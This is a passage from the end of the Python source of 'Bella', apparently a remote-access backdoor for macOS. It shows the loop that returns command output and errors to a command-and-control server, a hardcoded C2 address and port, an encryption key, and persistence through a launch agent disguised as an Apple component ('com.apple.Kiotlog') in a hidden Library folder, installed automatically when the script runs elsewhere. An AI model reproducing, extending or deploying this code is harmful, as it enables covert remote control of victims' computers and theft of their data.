2050 #at this point we are done with the loop, can get / send stderr
2051 send_msg(line + proc.communicate()[1], True)
2052 done = True
2053 break
2054 if not done:
2055 send_msg(proc.stdout.read() + proc.stderr.read(), True)
2056
2057 except socket.error, e:
2058 if e[0] == 32:
2059
2060 pass
2061 except Exception as e:
2062
2063 send_msg(str(e), True)
2064
2065 except socket.error, e:
2066 traceback.print_exc()
2067 subprocess_cleanup()
2068
2069 if e[0] == 54:
2070
2071 pass
2072 break
2073
2074 except Exception:
2075 #any error here will be unrelated to socket malfunction.
2076 bella_error = traceback.format_exc()
2077
2078 send_msg('%sMalfunction:\n```\n%s%s%s\n```\n' % (red_minus, red, bella_error, endANSI), True) #send error to CC, then continue
2079 continue
2080 try:
2081 bellaConnection.close()
2082 except:
2083 pass
2084
2085##### Below variables are global scopes that are accessed by most of the methods in Bella. Should make a class structure #####
2086endANSI = '\001\033[0m\002'
2087bold = '\001\033[1m\002'
2088underline = '\001\033[4m\022'
2089red_minus = '\001\033[31m\002[-] %s' % endANSI
2090greenPlus = '\001\033[92m\002[+] %s' % endANSI
2091blue_star = '\001\033[94m\002[*] %s' % endANSI
2092yellow_star = '\001\033[93m\002[*] %s' % endANSI
2093violet = '\001\033[95m\002'
2094blue = '\001\033[94m\002'
2095light_blue = '\001\033[34m\002'
2096green = '\001\033[92m\002'
2097dark_green = '\001\033[32m\002'
2098yellow = '\001\033[93m\002'
2099red = '\001\033[31m\002'
2100bella_error = ''
2101cryptKey = 'edb0d31838fd883d3f5939d2ecb7e28c'
2102try:
2103 computer_name = subprocess.check_output('scutil --get LocalHostName', shell=True).replace('\n', '')
2104except:
2105 computer_name = platform.node()
2106
2107if os.getuid() == 0:
2108 bella_user = cur_GUI_user()
2109 bella_UID = pwd.getpwnam(bella_user).pw_uid
2110else:
2111 bella_user = getpass.getuser()
2112 bella_UID = pwd.getpwnam(bella_user).pw_uid
2113
2114bellaPID = os.getpid()
2115
2116launch_agent_name = 'com.apple.Kiotlog'
2117bella_folder = 'Containers/.kiotlog'
2118if os.getuid() == 0:
2119 home_path = ''
2120else:
2121 home_path = os.path.expanduser('~')
2122
2123if '/'.join(os.path.abspath(__file__).split('/')[:-1]).lower() != ('%s/Library/%s' % (home_path, bella_folder)).lower(): #then set up and load agents, etc
2124
2125
2126 create_bella_helpers(launch_agent_name, bella_folder, home_path)
2127
2128helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
2129payload_list = []
2130temp_file_list = []
2131host = '192.168.130.16' #Command and Control IP (listener will run on)
2132port = 8443 #What port Bella will operate over
2133
2134#### End global variables ####
2135if __name__ == '__main__':
2136 bella()